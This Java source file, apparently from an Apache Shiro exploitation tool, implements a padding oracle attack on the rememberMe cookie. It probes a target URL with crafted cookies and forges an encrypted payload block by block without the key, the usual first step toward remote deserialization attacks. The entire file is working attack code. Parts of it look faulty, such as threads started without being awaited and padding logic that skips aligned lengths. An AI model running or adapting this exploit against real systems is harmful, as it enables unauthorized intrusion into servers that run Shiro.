package com.shiroexploit.core;

import com.shiroexploit.util.*;
import org.apache.commons.codec.DecoderException;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.binary.Hex;

public class PaddingOracle {
    private HttpRequestInfo httpRequestInfo;
    private byte[] payload;

    public PaddingOracle(HttpRequestInfo httpRequestInfo, byte[] payload){
        this.httpRequestInfo = httpRequestInfo;
        this.payload = payload;
    }

    private String getIntermediary(String cipherText){
        StringBuffer intermediary = new StringBuffer();
        for(int position=1; position <= 16; position++){

            RoundTask task = new RoundTask(httpRequestInfo, position, cipherText, intermediary);
            task.start();
        }

        return intermediary.toString();
    }

    private boolean hasVuln(){
        for(int i=0; i<256; i++){
            String hex = Integer.toHexString(i);
            if (hex.length() == 1) {
                hex = 0 + hex;
            }

            String testString = httpRequestInfo.getRememberMeCookie() + "00000000000000000000000000000000".substring(2) + hex + "00000000000000000000000000000000";
            byte[] bytes = null;
            try {
                bytes = Hex.decodeHex(testString);
            } catch (DecoderException e) {
                e.printStackTrace();
            }
            String payload = Base64.encodeBase64String(bytes);;
            
            if (HttpRequest.isValid(httpRequestInfo, payload)) {
                return true;
            }
        }

        return false;
    }

    public String encrypt() throws ExploitFailedException {
        if(!hasVuln()){
            throw new ExploitFailedException("[-] Target URL seems not vulnerable to Padding Oracle Attack");
        }

        padding();

        StringBuffer sb = new StringBuffer();
        System.out.println("[*] Set Initial cipherText to 00000000000000000000000000000000");
        String cipherText = "00000000000000000000000000000000";
        sb.insert(0, cipherText);
        int count = payload.length / 16;

        for(int i = payload.length; i > 0; i = i-16){
            byte[] block = new byte[16];
            System.arraycopy(payload, i-16, block,0, 16);
            System.out.println("[*] Calulating block " + count--);
            String intermediary = getIntermediary(cipherText);
            cipherText = Tools.xor(intermediary, Hex.encodeHexString(block));
            sb.insert(0,cipherText);
        }

        byte[] res = new byte[0];
        try {
            res = Hex.decodeHex(sb.toString());
        } catch (DecoderException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(res);
    }

    public void padding() {
        int blockSize = (int)Math.ceil(payload.length / 16.0);
        System.out.println("[*] Payload has " + blockSize + " block");
        System.out.println("[*] Padding payload");

        int len = payload.length;
        int paddingLen = 0;
        while (len % 16 != 0) {
            len++;
            paddingLen++;
        }

        byte[] padding = new byte[paddingLen];
        for (int i = 0; i < paddingLen; i++) {
            padding[i] = (byte) paddingLen;
        }

        byte[] data = new byte[len];
        System.arraycopy(payload, 0, data, 0, payload.length);
        System.arraycopy(padding, 0, data, payload.length, padding.length);

        this.payload = data;
    }

    private String generatePayload(String IV, String cipherText){
        String payload = httpRequestInfo.getRememberMeCookie() + IV + cipherText;
        byte[] bytes = new byte[0];
        try {
            bytes = Hex.decodeHex(payload);
        } catch (DecoderException e) {
            e.printStackTrace();
        }

        return Base64.encodeBase64String(bytes);
    }
}